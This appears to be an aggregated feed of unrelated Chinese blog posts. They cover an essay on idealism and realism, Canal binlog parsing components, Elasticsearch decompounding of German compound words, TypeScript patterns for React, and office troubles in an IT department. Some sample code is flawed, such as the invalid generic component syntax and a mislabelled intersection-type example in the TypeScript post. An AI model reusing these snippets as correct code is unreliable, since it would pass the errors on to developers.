理想主义如同璀璨星辰,强调个人内心的信念和追求,引领我们朝着美好的愿景前行;现实主义则像坚实大地,更注重实际效果和利益的最大化,提醒我们立足当下。在这两种力量的激烈碰撞中,我们常常陷入两难境地,不得不做出艰难的妥协和抉择。

张居正的启示:理想与现实的碰撞与交融

张居正,这位历史上赫赫有名的改革家,他的一生宛如一部波澜壮阔的史诗,为我们呈现了理想与现实矛盾冲突的生动画卷。

起初,张居正只是裕王麾下兵部的一名普通职员,在岁月的长河中,凭借自身的才华与努力,逐渐成长为权倾一时的权臣,继而开启了大刀阔斧的经济改革之路。然而,我们不禁要问,是谁将他推上了那个举足轻重的高位呢?答案是文官集团。他的崛起与发展,在一定程度上代表了某个集团的利益和诉求。这一事实让我们不得不深入思考:所谓理想与现实的矛盾,很大程度上是理想主义与现实利益之间的激烈冲突。

当我们怀揣梦想踏上征程时,往往豪情万丈,满心都是对理想与正义的执着追求。但现实却无比残酷,在复杂的社会环境中,只有代表更多人的利益,为更广泛的群体发声,才有可能获得施展抱负的机会。毕竟,如果连自身都难以保全,又谈何实现理想、大展拳脚呢?

张居正的改革之路布满荆棘。他所面对的,是一个腐朽不堪的官僚体系和盘根错节、根深蒂固的利益集团。他推行的“一条鞭法”,旨在简化繁琐的税收制度,切实减轻农民负担,这本是一项利国利民的善举。然而,这一改革举措却如巨石投入平静湖面,触动了地方官员的切身利益,引发了他们的强烈反对。

在这场艰难的改革中,张居正不得不在坚守改革理念的同时,与各方势力展开惊心动魄的博弈。他凭借着非凡的智慧和无畏的勇气,艰难地推动改革前行。尽管最终改革得以实施,但他也为此付出了巨大的个人代价。张居正的经历深刻地告诉我们,理想的实现往往伴随着与现实利益的激烈交锋,需要付出常人难以想象的努力和牺牲。

期待与现实的落差:理想主义者的困境

我们内心深处究竟在期待什么?无疑,是期待有一股强大的力量能够为我们发声。这股力量一旦汇聚,其威力不容小觑。回顾历史,确有仁人志士做到了这一点,并取得了不凡的成就。究其根源,在于他们与我们利益一致、立场相同,彼此相互支持,形成了强大的合力。这其实是人性使然,无所谓对错,一切皆因利益驱动。

人性中,我们都渴望有一位强大的理想主义者能够站出来,为自己争取应得的利益。然而,现实却常常不尽如人意。我们所期待的理想主义者,在现实的惊涛骇浪中,往往被冲刷得面目全非。

以《大奉打更人》中的许七安为例,他秉持理想主义的行事风格,虽然赢得了民众的衷心尊敬,但这种直接对抗权贵的方式,使他成为了权贵们的眼中钉、肉中刺。他的勇敢抗争虽然在短期内解决了一些问题,却也为自己的未来埋下了重重隐患。而他的上司魏公则截然不同,魏公深谙权力运作之道,通过巧妙地运用手中的权力和资源,逐步积累自身影响力,最终在悄无声息中实现了自己的目标。

魏公的智慧:顺应大势,厚积薄发

在《大奉打更人》中,魏公的一句话意味深长。当主人翁许七安察觉到众人都在利用他的能力时,魏公劝诫道:“你要顺从安排,在这个过程中强大自己,你才有改变的资本。”这句话如同一盏明灯,照亮了现实世界的黑暗角落,道出了一个颠扑不破的真理:在现实的广袤天地里,我们往往需要先顺应时代发展的大势,不断提升和强大自身实力,才能获得改变现状的资本和力量。

魏公的这句忠告,不仅仅是对许七安个人的殷切教导,更是对所有心怀理想的理想主义者的深刻启示。在现实的残酷考验下,单纯的理想主义犹如无根之萍,难以长久生存。我们需要在现实的坚实土壤中,精心培育理想的种子,让它在顺应大势的过程中,汲取养分,生根发芽。只有不断积累力量,我们才能在未来的某一天,实现心中的理想。

结语

人生恰似一场漫长的旅程,我们顺着时代的大势发展前行,在不断强大自身的过程中,才能赢得参与竞争的资格。在尚未具备足够实力之前,理想或许显得微不足道。但这绝不意味着我们应该放弃理想,理想是我们内心深处的火种,是前行的动力源泉。

理想与现实的矛盾并非不可调和的鸿沟,而是需要我们用智慧和勇气去精心平衡与调和。在这个充满挑战的过程中,我们或许会失去一些眼前的利益和舒适,但同时也会收获宝贵的成长和强大的力量。

只要我们怀揣理想,立足现实,在顺应大势中砥砺前行,不断积累经验和实力,终有一天,我们能够在现实的基石上,构建起属于自己的理想国度,奏响理想与现实和谐共舞的美妙乐章。

by 大鸡腿同学 at January 30, 2025 02:29 PM

juejin backend

深入解析 Canal 组件:EventParser,EventProcessorFactory和Glue

深入解析 Canal 组件:MallCanalBinLogEventParser、MallCanalBinlogEventProcessorFactory 和 MallCanalGlue

在数据同步系统中,尤其是像 Canal 这样的数据库同步工具中,我们需要精细地拆解每个组件的功能。Canal 是一个通过模拟 MySQL 的 binlog 来实现数据同步的工具,在分布式架构中尤其重要。接下来,我们将深入探讨三个关键组件:MallCanalBinLogEventParserMallCanalBinlogEventProcessorFactoryMallCanalGlue

1. MallCanalBinLogEventParser 组件

组件功能

BinLogEventParser 是 Canal 中用于解析 MySQL binlog 日志的组件。MySQL 的 binlog 是记录数据库表中数据变化的日志。通过解析这些日志,BinLogEventParser 将它们转化为业务系统可理解的格式。具体来说,它将 MySQL 的 binlog 事件解析为事件对象(如:插入、更新、删除等),以便后续处理。

代码解析

我们可以看看一个简单的代码实现来理解它的工作原理。

public class MallCanalBinLogEventParser {

    public List<Event> parseBinLogEvent(byte[] binlogBytes) throws IOException {
        // 使用 Canal 提供的解析器来解析 binlog 事件
        List<Event> events = new ArrayList<>();
        try {
            // 解析 binlog 事件字节流
            BinlogEventV4Parser parser = new BinlogEventV4Parser();
            parser.parse(binlogBytes);
            
            // 事件解析成 Event 对象
            for (BinlogEventV4 event : parser.getEvents()) {
                Event parsedEvent = new Event(event.getHeader(), event.getData());
                events.add(parsedEvent);
            }
        } catch (Exception e) {
            throw new IOException("Binlog event parsing failed", e);
        }
        return events;
    }
}

解析过程

  1. binlogBytes:这个字节数组是从 MySQL 数据库的 binlog 文件中获取的原始数据。
  2. BinlogEventV4Parser:这是 Canal 提供的类,用于从字节流中解析出具体的 binlog 事件。
  3. 事件被解析成 Event 对象,这些事件表示的是数据的变更(例如,某行数据的插入或删除)。

通过这个组件,Canal 可以从原始的 binlog 数据中提取出高层次的业务事件,如 INSERTUPDATEDELETE 等。


2. MallCanalBinlogEventProcessorFactory 组件

组件功能

BinlogEventProcessorFactory 是 Canal 中的工厂类,它的任务是根据不同的业务需求,为每一个 binlog 事件分配适当的处理器(EventProcessor)。每个事件处理器负责处理特定类型的事件,比如将数据存储到数据库,发送到消息队列等。

代码解析

以下是一个简单的工厂类代码示例:

public class MallCanalBinlogEventProcessorFactory {

    public static EventProcessor createEventProcessor(Event event) {
        // 根据事件类型选择不同的处理器
        if (event.getEventType() == EventType.INSERT) {
            return new InsertEventProcessor();
        } else if (event.getEventType() == EventType.UPDATE) {
            return new UpdateEventProcessor();
        } else if (event.getEventType() == EventType.DELETE) {
            return new DeleteEventProcessor();
        } else {
            throw new IllegalArgumentException("Unsupported event type: " + event.getEventType());
        }
    }
}

解析过程

  1. EventType:我们根据事件的类型(例如 INSERTUPDATEDELETE)来决定如何处理它。不同的事件类型需要不同的处理方式。
  2. EventProcessor:每种类型的事件有一个对应的处理器,负责执行特定的操作(例如插入数据、更新数据、删除数据等)。
  3. createEventProcessor:该工厂方法根据事件类型返回一个合适的处理器对象。

通过这个工厂,我们能够灵活地扩展事件处理逻辑,同时保持代码的可维护性和可扩展性。


3. MallCanalGlue 组件

组件功能

CanalGlue 的主要任务是将前面提到的组件和业务逻辑整合在一起,确保它们之间的协同工作。它起到了连接各个部分的作用,就像是整个系统中的“粘合剂”。

代码解析

以下是一个简单的 CanalGlue 代码示例,展示它如何将 BinLogEventParserBinlogEventProcessorFactory 结合起来使用:

public class MallCanalGlue {

    private MallCanalBinLogEventParser eventParser;
    private MallCanalBinlogEventProcessorFactory processorFactory;

    public MallCanalGlue() {
        this.eventParser = new MallCanalBinLogEventParser();
        this.processorFactory = new MallCanalBinlogEventProcessorFactory();
    }

    public void handleBinlog(byte[] binlogBytes) throws IOException {
        // 1. 解析 binlog 数据
        List<Event> events = eventParser.parseBinLogEvent(binlogBytes);

        // 2. 为每个事件选择合适的处理器并处理
        for (Event event : events) {
            EventProcessor processor = processorFactory.createEventProcessor(event);
            processor.process(event);
        }
    }
}

解析过程

  1. handleBinlog:该方法负责处理整个 binlog 过程。首先,它调用 BinLogEventParser 来解析 binlog 数据,然后为每个事件创建一个合适的处理器,并调用该处理器来处理事件。
  2. eventParser.parseBinLogEvent(binlogBytes) :从 binlog 数据中解析出事件。
  3. processorFactory.createEventProcessor(event) :根据事件类型创建一个对应的处理器对象。
  4. processor.process(event) :执行处理逻辑,例如将数据同步到目标数据库、发送到消息队列等。

CanalGlue 充当了整个数据流转的中心,它将所有组件有序地连接起来,确保数据同步的每一个步骤都能顺利完成。


总结

通过对这三个核心组件的解析,我们可以更清楚地了解 Canal 是如何工作的:

  • MallCanalBinLogEventParser 负责将 MySQL 的 binlog 事件转化为易于处理的业务对象。
  • MallCanalBinlogEventProcessorFactory 负责根据事件类型选择合适的事件处理器。
  • MallCanalGlue 负责将这些组件结合起来,确保整个数据同步流程的顺畅运行。

这种分层的架构不仅提高了系统的可维护性和可扩展性,还能确保数据同步过程中各个环节的高效协作。

by Asthenia0412 at January 30, 2025 02:13 PM

Elasticsearch:如何搜索含有复合词的语言

作者:来自 Elastic Peter Straßer

复合词在文本分析和标记过程中给搜索引擎带来挑战,因为它们会掩盖词语成分之间的有意义的联系。连字分解器标记过滤器等工具可以通过解构复合词来帮助解决这些问题。

德语以其长复合词而闻名:Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz 是德语词典中最长的单词 —— 对于没有准备好处理复合词的搜索引擎来说是一场噩梦。许多其他语言如荷兰语、瑞典语等也都有这个概念。甚至英语中也有一些这样的词语,尽管程度较轻。想想 “sunflower” 或 “basketball”。

让我们讨论一下这些词语所带来的问题和挑战,为什么这是一个问题以及如何解决它。

问题

在进行全文搜索时,Elasticsearch 等搜索引擎会在查询和索引时分析文本并将文本转换为标记(tokens)。我们想要提取单词的含义,而不是完全匹配字符串。对于我们的搜索,我们不必担心兔子是在 “running” 还是在 “runs” —— 我们只是将单词简化为其词根形式:“run”。

当我们处理复合词时,如果我们不以某种方式解决它,这个阶段就会失败。假设我们有一个包含文档的索引:“Basketballs”。如果我们使用标准英语分析器来分析这一点,我们会得到:



1.  GET _analyze
2.  {
3.    "text": "Basketballs", 
4.    "analyzer": "english"
5.  }


响应:



1.  {
2.    "tokens": [
3.      {
4.        "token": "basketbal",
5.        "start_offset": 0,
6.        "end_offset": 11,
7.        "type": "<ALPHANUM>",
8.        "position": 0
9.      }
10.    ]
11.  }


在这个例子中,复合词 “basketballs” 被标记化为 “basketbal”。虽然我们能够将其转换为小写并去除复数形式,但我们无法捕捉到 “basketball” 也是一种 “ball” 的含义。现在,如果我们在索引中搜索 “ball”,我们希望能够找到 “basketball”,但 “bal”(经过分析)并不匹配 “basketbal”,因此我们没有得到任何结果!

那么,我们该如何解决这个问题呢?

也许同义词有用?

我们首先想到的可能是尝试使用同义词将不同的子词与复合词关联起来。由于复合词的使用相当有限,这对于英语来说已经足够好了:

basketball => basketball, ball

现在我们来看看德语。语法的工作方式是将任意数量的单词组合起来形成一个更精确的单词。

Rind (cow - 牛) 和 Fleisch (meat - 肉) 变成 Rindfleisch (牛肉)。

Rind(cow - 牛)、Fleisch(meat - 肉)和 Etikett(label - 标签)变成 Rindfleischetikett(牛肉标签)。这个过程可以任意长,直到我们得到诸如 Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz 之类的可爱的词语。

为了用我们的同义词文件解决这个问题,我们必须对无限数量的单词排列进行建模:



1.  # cowmeat, cowmeatlabel, meatlabel
2.  rindfleisch => rindfleisch, rind, fleisch
3.  rindfleischetikett => rindfleischetikett, rind, fleisch, etikett
4.  fleischetikett => fleischetikett, fleisch, etikett
5.  …


在德语等语言中,这很快变得不切实际。所以我们必须从相反的角度来看待这个问题。我们不是从复合词开始寻找其复合词,而是查看可用的复合部分并根据这些知识解构单词。

连字分解器 - Hyphenation Decompounder

连字分解器标记过滤器(Hyphenation Decompounder Token Filter)是一个 Lucene 标记过滤器,它依赖连字规则来检测潜在的单词拆分。规则文件(Rule files)以对象格式化对象 (Objects For Formatting - OFFO) 格式指定,我们也可以在其中找到一些示例文件。我们还需要一个单词列表,用于将复合词分解为其子部分。单词列表可以内联提供,但对于生产工作负载,我们通常还会将文件上传到磁盘,因为这些文件可能非常大,并且通常包含整个词典。

可以根据其许可证提供的德语示例文件可在此存储库中找到。

那么它有什么作用呢?



1.  # word list: coffee, sugar, cup
2.  # text: coffee cup
3.  GET _analyze
4.  {
5.    "tokenizer": "standard",
6.    "filter": [
7.      "lowercase",
8.      {
9.        "type": "hyphenation_decompounder",
10.        "hyphenation_patterns_path": "analysis/hyphenation_patterns.xml",

12.        "word_list": ["kaffee", "zucker", "tasse"]
13.      }
14.    ],
15.    "text": "Kaffeetasse"
16.  }

19.  Response:

21.  # coffee cup, coffee, cup
22.  [ "kaffeetasse", "kaffee", "tasse"]


这有助于确保搜索 “Tasse”(杯子)的用户能够找到包含较大复合词 “Kaffeetasse”(咖啡杯)的文档。

注意

  • 查看此文章,了解如何上传包以便能够在 Elastic Cloud Hosted 部署中访问这些文件。
  • 还有 Dictionary Decompounder,它可以在没有连字规则的情况下执行相同的操作,而是强制执行单词检测。对于大多数用例,我们推荐使用连字分解器。

避免部分匹配

由于我们通常使用包含数千个单词的整本词典的单词列表,因此分解器可能会使用默认设置以非预期的方式拆分单词,从而导致不相关的匹配。



1.  # word list: coffee, fairy, cup
2.  # text: coffee cup
3.  GET _analyze
4.  {
5.    "tokenizer": "standard",
6.    "filter": [
7.      "lowercase",
8.      {
9.        "type": "hyphenation_decompounder",
10.        "hyphenation_patterns_path": "analysis/hyphenation_patterns.xml",

12.        "word_list": ["kaffee", "fee", "tasse"]
13.      }
14.    ],
15.    "text": "Kaffeetasse"
16.  }

18.  Response:

20.  # coffee cup, coffee, fairy, cup
21.  ["kaffeetasse", "kaffee", "fee", "tasse"]


此示例在 “Kaffee”(coffee - 咖啡)中检测到 “fee”(fairy - 仙女)。这当然是意外的,并非有意为之。另一个示例可能是 “Streifenbluse”(striped blouse- 条纹衬衫),其中会找到 “Reifen”(tires - 轮胎)。“Streifen”(stripe - 条纹)、“Reifen”(轮胎)和 “Bluse”(blouse - 衬衫)都是我们通常想要拆分的常用词。

我们的用户搜索 “fee”(fairies - 仙女)和 “reifen”(tires - 轮胎)时,现在会找到 coffee 和 blouses!这可不妙。

在 8.17 中,hyphenation_decompounder 中添加了一个新的参数 no_sub_matches 来解决此问题。



1.  # word list: coffee, fairy, cup
2.  # text: coffee cup
3.  GET _analyze
4.  {
5.    "tokenizer": "standard",
6.    "filter": [
7.      "lowercase",
8.      {
9.        "type": "hyphenation_decompounder",
10.        "hyphenation_patterns_path": "analysis/hyphenation_patterns.xml",
11.        "word_list": ["kaffee", "fee", "tasse"],
12.        "no_sub_matches": true
13.      }
14.    ],
15.    "text": "Kaffeetasse"
16.  }

18.  Response:

20.  # coffee cup, coffee, cup
21.  ["kaffeetasse", "kaffee", "tasse"]


这可以防止创建 “fee”(fairy)标记并且我们的搜索按预期工作!

匹配所有查询 terms

根据我们目前所见,搜索德语文本的索引映射可能类似于以下索引定义:



1.  PUT products
2.  {
3.    "mappings": {
4.      "properties": {
5.        "full_text": {
6.          "type": "text",
7.          "analyzer": "german_analyzer_with_decompounding"
8.        }
9.      }
10.    },
11.    "settings": {
12.      "analysis": {
13.        "analyzer": {
14.          "german_analyzer_with_decompounding": {
15.            "type": "custom",
16.            "tokenizer": "standard",
17.            "filter": [
18.              "lowercase",
19.              "german_stop_words_filter",
20.              "german_decompounder",
21.              "german_normalization",
22.              "german_stemmer"
23.            ]
24.          },
25.          "german_analyzer_without_decompounding": { 
26.            "type": "custom",
27.            "tokenizer": "standard",
28.            "filter": [
29.              "lowercase",
30.              "german_stop_words_filter",
31.              "german_normalization",
32.              "german_stemmer"
33.            ]
34.          }
35.        },
36.        "filter": {
37.          "german_stop_words_filter": {
38.            "type": "stop",
39.            "stopwords": "_german_"
40.          },
41.          "german_decompounder": {
42.            "only_longest_match": "true",
43.            "word_list_path": "dictionary/dictionary.txt",
44.            "type": "hyphenation_decompounder",
45.            "hyphenation_patterns_path": "dictionary/hyphenation_patterns.xml"
46.          },
47.          "german_stemmer": {
48.            "type": "stemmer",
49.            "language": "light_german"
50.          }
51.        }
52.      }
53.    }
54.  }


注意:在实际生产环境中,其中很可能会有围绕 asciifolding、表情符号过滤器(emoji filters)或同义词(synonyms)的过滤器,但这已经是一个很好的起点,应该会为德语文本获得良好的结果。

当搜索多个术语时,我们通常会期望(不考虑高级查询放松策略)我们指定的所有搜索词都包含在我们的结果中。因此,当在电子商务商店中搜索 Lederjacke(leather jacket - 皮夹克)时,我们希望我们的产品是皮革制成的夹克,而不是皮革制品和夹克的随机组合。

实现此目的的方法是将搜索查询中的运算符设置为 AND。所以我们这样做并在我们的产品中搜索 “Lederjacke”(皮夹克):



1.  GET products/_search
2.  {
3.    "query": {
4.      "match": {
5.        "full_text": { 
6.          "query": "lederjacke",  
7.          "operator": "and" 
8.        }
9.      }
10.    }
11.  }
12.  # returns all leather products and all jackets


令人惊讶的是,这并不像我们预期的那样。我们找到了所有含有皮革或夹克的产品。这是因为运算符在标记化之前进行评估,并且使用 OR 评估标记过滤器生成的标记。

为了解决这个问题,我们需要在应用程序中分解我们的术语。我们可以先调用 _analyze API,然后将分解后的术语传递给我们的搜索查询。因为我们已经分解了,所以我们在过滤器链中使用了没有分解器过滤器的搜索分析器(search analyzer)。

1.  GET _analyze
2.  {
3.    "tokenizer": "standard",
4.    "filter": [
5.      "lowercase",
6.      {
7.        "type": "hyphenation_decompounder",
8.        "hyphenation_patterns_path": "analysis/hyphenation_patterns.xml",
9.        "word_list_path": "analysis/word_list.xml",
10.        "no_sub_matches": true
11.      }
12.    ],
13.    "text": "Lederjacke" 
14.  }

17.  Response: 

19.  ["leder", "jacke"]

21.  GET products/_search
22.  {
23.    "query": {
24.      "match": {
25.        "full_text": { 
26.          "query": "leder jacke",
27.          "operator": "and",
28.          "analyzer": "german_analyzer_without_decompounding"
29.        }
30.      }
31.    }
32.  }
33.  # returns only leather jackets 

搜索分解词的替代方法

虽然 Elasticsearch Serverless 具有根据负载动态扩展的能力,为搜索应用程序带来了许多巨大优势,但在撰写本文时,目前无法上传文件并在这些项目中使用连字分解器。

替代工具

可以在 Elastic 堆栈之外使用的替代方案是适用于 Java 的 JWordSplitterCharSplit 模型或 CompoundPiece 模型,它们采用机器学习方法分解单词,而无需配置文件。

以下是如何将 CompoundPiece 与 Hugging Face 转换器库一起使用:



1.  from transformers import pipeline
2.  pipe = pipeline("text2text-generation", model="benjamin/compoundpiece")
3.  result = pipe("Lederjacke", max_length=100)
4.  print(result[0]['generated_text'].split('-'))

6.  STDOUT: ['Leder', 'Jacke']


它支持 56 种语言,并且无需配置文件即可工作,这是实现多语言应用程序分解的好方法。

语义搜索

我们在这里的许多文章中都涵盖了使用文本嵌入模型的语义搜索。这些模型能够解释文本的含义,可以通过将文档和查询转换为向量并找到与查询最接近的文档来进行搜索。

将此处讨论的词汇搜索与向量搜索相结合称为混合搜索。这也有助于大大提高结果的质量并解释文本中复合词背后的含义。

结论

分解是构建有效的多语言搜索应用程序的重要工具 - 尤其是涉及德语等语言时。通过使用连字符分解器等工具,我们可以确保我们的搜索能够理解复合词背后的含义,为用户提供更好、更相关的结果。

与对搜索算法的任何调整一样,评估其对搜索性能的整体影响非常重要。通过浏览我们关于 _eval API 的文章,了解有关如何客观衡量搜索结果质量的更多信息。

Elasticsearch 包含许多新功能,可帮助你为你的用例构建最佳搜索解决方案。深入了解我们的示例笔记本以了解更多信息,开始免费云试用,或立即在本地机器上试用 Elastic。

原文:How to search languages with compound words - Elasticsearch Labs

by Elasticsearch at January 30, 2025 02:05 PM

juejin frontend

7 种 TypeScript 模式,打造坚如磐石的 React 组件

7 种 TypeScript 模式,打造坚如磐石的 React 组件

原文链接:dev.to/sovannaro/7…
作者:sovannaro
译者:倔强青铜三

前言

大家好,我是倔强青铜三。是一名热情的软件工程师,我热衷于分享和传播IT技术,致力于通过我的知识和技能推动技术交流与创新,欢迎关注我,微信公众号:倔强青铜三。欢迎点赞、收藏、关注,一键三连!!!

在React开发中,使用TypeScript可以显著提升代码的健壮性和可维护性。以下是7种TypeScript模式,能帮助你打造出团队爱不释手的可靠React组件。

1. 基于接口的Props类型定义

使用接口(interface)来定义React组件的props类型是一种常见且清晰的方式。例如:

// 定义一个按钮组件的props接口
interface ButtonProps {
  text: string;
  onClick: () => void;
  isDisabled?: boolean;
}

const Button: React.FC<ButtonProps> = ({ text, onClick, isDisabled = false }) => (
  <button disabled={isDisabled} onClick={onClick}>
    {text}
  </button>
);

这样,在使用Button组件时,TypeScript会强制检查传入的props是否符合ButtonProps接口的定义。

2. 类型别名(Type Alias)用于复杂类型

对于一些复杂的类型,类型别名(type)可以提供更简洁的表达方式。比如,当你需要定义一个包含多种属性类型的对象,并且这些属性可能是联合类型时:

// 定义一个用户信息的类型别名
type UserInfo = {
  name: string;
  age: number;
  email: string | null;
  address: {
    street: string;
    city: string;
  };
};

const user: UserInfo = {
  name: "John Doe",
  age: 30,
  email: "johndoe@example.com",
  address: {
    street: "123 Main St",
    city: "Anytown"
  }
};

在React组件中,你可以使用这种类型别名来定义props或组件内部的状态类型。

3. 泛型组件

泛型(Generics)允许你创建可复用的组件,同时保持类型安全。例如,一个简单的列表渲染组件:

interface ListItem<T> {
  value: T;
  label: string;
}

const List<T> = ({ items }: { items: ListItem<T>[] }) => (
  <ul>
    {items.map(item => (
      <li key={item.value}>{item.label}</li>
    ))}
  </ul>
);

const numberItems: ListItem<number>[] = [
  { value: 1, label: "One" },
  { value: 2, label: "Two" }
];

const stringItems: ListItem<string>[] = [
  { value: "a", label: "Alpha" },
  { value: "b", label: "Beta" }
];

<List items={numberItems} />;
<List items={stringItems} />;

这里的List组件可以接受不同类型的ListItem数组,而TypeScript会确保类型的正确性。

4. 条件类型(Conditional Types)

条件类型允许你根据条件选择不同的类型。在React中,这对于处理不同的渲染逻辑很有用。例如,根据一个布尔值来决定渲染不同的组件:

type RenderIf<T, U> = T extends true? U : never;

interface SuccessProps {
  message: string;
}

interface ErrorProps {
  error: string;
}

const Success: React.FC<SuccessProps> = ({ message }) => (
  <div className="success">{message}</div>
);

const Error: React.FC<ErrorProps> = ({ error }) => (
  <div className="error">{error}</div>
);

const renderComponent = <T extends boolean, U, V>(
  condition: T,
  successComponent: React.FC<U>,
  errorComponent: React.FC<V>
): RenderIf<T, React.FC<U | V>> => {
  return condition? successComponent : errorComponent;
};

const isSuccess = true;
const componentToRender = renderComponent(
  isSuccess,
  Success,
  Error
);

// 这里根据isSuccess的值,componentToRender的类型会是Success或Error组件的类型

5. 交叉类型(Intersection Types)

交叉类型(&)用于将多个类型合并为一个类型。在React中,当一个组件需要同时满足多种类型的属性时,交叉类型非常有用。例如:

interface StyleProps {
  color: string;
  fontSize: string;
}

interface LinkProps {
  href: string;
  target: string;
}

// 定义一个同时具有样式和链接属性的组件
interface StyledLinkProps extends StyleProps, LinkProps {}

const StyledLink: React.FC<StyledLinkProps> = ({ color, fontSize, href, target }) => (
  <a style={{ color, fontSize }} href={href} target={target}>
    Styled Link
  </a>
);

这样,StyledLink组件就同时具备了StylePropsLinkProps的属性。

6. 索引类型(Index Types)

索引类型允许你通过索引访问对象的属性类型。在React中,当你需要动态访问对象的属性时,索引类型很有帮助。例如:

interface User {
  name: string;
  age: number;
  email: string;
}

// 获取User对象中name属性的类型
type NameType = User["name"];

// 定义一个函数,根据属性名获取用户对象的属性值
const getUserProperty = <T, K extends keyof T>(user: T, key: K): T[K] => {
  return user[key];
};

const user: User = {
  name: "Jane Smith",
  age: 25,
  email: "janesmith@example.com"
};

const name = getUserProperty(user, "name");
const age = getUserProperty(user, "age");

7. 字面量类型(Literal Types)

字面量类型允许你指定具体的值作为类型。在React中,这对于限制props的取值范围很有用。例如:

// 定义一个按钮的颜色类型
type ButtonColor = "primary" | "secondary" | "danger";

interface ButtonProps {
  text: string;
  color: ButtonColor;
}

const Button: React.FC<ButtonProps> = ({ text, color }) => (
  <button className={`button-${color}`}>{text}</button>
);

// 使用按钮组件时,color属性只能是"primary"、"secondary"或"danger"
<Button text="Click me" color="primary" />;

通过使用这些TypeScript模式,你可以打造出更健壮、更易于维护的React组件,让你的团队在开发过程中更加高效和愉快。

最后感谢阅读!欢迎关注我,微信公众号倔强青铜三。欢迎点赞收藏关注,一键三连!!!

by 倔强青铜三 at January 30, 2025 01:51 PM

juejin career

IT外传:老技术部的困境

它像一个锈迹斑斑的铁柱,挪了它,会立马塌一片房。不挪它,又不敢在上面推陈出新。如今是一边定钉子加固,一边试探着放一把椅子,太难了……

年会如期进行,在今年严峻的经济形势下,公司今年的营收和利润,相比去年都有大于30%的增长。这主要得益于老板有个原则:员工要比公司挣得多。也就是今年公司增幅10%,员工收入也要比去年增10%。但是,这个增长不是针对所有人,而是那些挣钱的部门

老板拉来一堆现金,在年会现场分发。张三,3万;李四,13万;王五25万。销售1部,10万;客服2部,5万……很遗憾,IT研发部,不管是团队还是个人,都榜上无名。

不得不说,确实存在这么一个现象,销售类的岗位是盈利部门,像行政、人力、财务这类属于成本部门。而研发类的岗位,则视情况而定。可以是盈利部门,也可以是成本部门。

这个技术部几十个人,其中老员工很多。这里说的老员工,一方面是指在公司待得久,入职七、八年的大有人在。另一方面,年龄也都很大,40岁的也不在少数。公司很重视老员工,常将入职10多年的立为榜样,这让新员工入职后,感到不可思议以及安全感十足。

很多技术部老人看到发奖金,都会很失落。他们说,每年都这样,热闹是别人的,和自己没关系,连保洁、保安都有个“勤勤恳恳奖”,而程序员啥都没有。干技术没有前途。

作为刚入职的员工,我了解的不是很多,不过也稍微有点旁观者的视角。

公司对于技术部很有成见。各个部门也都有意见,尤其是老板。首先体现在系统的脆弱性上,基本上每年在最关键的营销活动时,服务都会宕机。每次宕机,老板都很着急,事后想让技术部避免此类情况再次发生。而技术部每次都有理由,也会提出新的解决方案。 老板配合技术部,从云服务器改为自建机房,从自建机房又迁移上云服务。

我来公司后,经历过两次宕机。第一次是一个大型活动,技术部说本来是没事的,结果因为运营人员在活动还没结束,就登上后台去查看汇总数据。这个汇总,会导致大量实时计算,结果数据库就顶不住了,停服务也停不掉,死机后数小时才重启成功。

领导说既然是数据库差,那就买数据库。技术部讨论后,感觉不能买。买多少?如果买了之后,还出现问题,那么就会处于舆论的被动面

第二次,不算是宕机,只是限流。就是很多人来访问,将一部分人挡在外面。体现在app上是一直弹出500错误、服务器内部错误的提示。弄得营销人员都不敢推广了。来了很多人,进不了门,错失很多客源,浪费了营销成本

后来,技术部又开始总结。原因是APP在一个页面调用了12个不同的接口,而且还有一个接口被连续调用了35次。这导致数据库压力加大,直接100%。幸好禁止用户访问,才没有崩溃。

技术部总监很着急。但是这个总监是App开发出身,不了解服务端。服务出问题了,他就去找后端开发。后端开发则感觉,架构设计是你总监的事情。我就算干好了,那也是你的功劳。因此不优化是本分,优化是情分,有些消极和抵触。

那么为什么不让后端当总监呢?刚才也说了,年龄偏大。第一,技术栈比较旧;第二,人也有些固执。其实这两者是统一的,因为固执所以技术守旧,因为凭老技术能活,所以可以保持固执。而作为一个部门领导,起码的底线是在行政能力上要过得去

目前后端Java服务还是单体架构。平台功能也就是Java连数据库读写数据,运维经常检测出大量慢SQL查询。另外,也没有用到什么Redis、Mango、ES,更别说Flink、MQ、CI/CD这些了。他抵触微服务,说微服务没用。性格上也比较固执。产品想要一个简单的功能,版本号升级,想从“3.1.19”的版本升级到“3.2”版本。他说不行,版本号必须得是3位数,要不然实现不了。产品问“3.1.19 beta”行吗,他想统计下测试版的用户数据。后台说不行,没法做比对,因为它要按照每个点切分出数字,挨个比对数字的大小,这样才能知道谁新谁旧。产品说,直接比较版本号字符串不行吗?他想了想,感觉行。不过,他说,既然当时定好了规则,就不要再变了。 最终,产品放弃了版本号的规划。

总之,老技术们有些抵触新技术,复杂的不愿意尝试。简单的又想靠着完全掌控的能力,去拿捏别人

让各个部门吐槽的,还有跟技术部提需求。技术部一直说活多,排不开,响应不了需求。但是,很明显多数人,看起来并不忙,也没有人加班。于是,这几个业务部门领导一碰头,发现都没有开发他们的需求。那他们忙什呢?其实需求提到总监那里,当总监去安排任务时,结果安排不下去,各个组都说自己很忙。最后,总监就向上反馈说自己部门的人都很忙。实际上,可能是几个组长很忙,忙的很烦,不愿接需求,而组员并没有事情做。

整体情况就是这样,老技术们,感觉自己很辛苦,老板也不加钱。不加钱,我没有优化系统的动力,而且你也没有具体的详细策略,出架构那不是我的职责。老板感觉技术部问题频出,系统不稳定,不愿加钱。你干出成绩我才加钱,比如做到今年不宕机,原来需要100万的成本,通过你们技术研发,成本降低到50万。这才叫成绩。

技术:不加钱,我没法努力。老板:干不好,怎么加钱? 两者陷入如此的循环。

老板为了解决技术部的问题,就经常给技术部换领导。因为你告诉老板,宕机的原因是一个接口被调用30多次,他听不懂,也没有解决方案。要钱、要人都好办,你说接口调用太多,他懵了。他只能找一个能对得上话的人去解决。技术部内部是找不出来的,他认为如果存在这样的人,问题就不会发生了。实际上,技术部里的人,都觉着自己能解决,但是前提得加钱。多少钱办多少事,否则我就静止不动,装傻充愣。

结果,就空降了很多领导,换一个不出成果,换一个还是没有起色。但是,每一任领导都会推翻上一位的设计。比如云服务有问题,那我们就自己建机房。下一任领导来了,听说自己的机房不行?我们上云服务不就解决了!这就造成技术部架构经常变,也没有什么积累。更严重的是,员工也倦了,变来变去,反反复复,再有新的改革措施,大家也不愿认真执行了

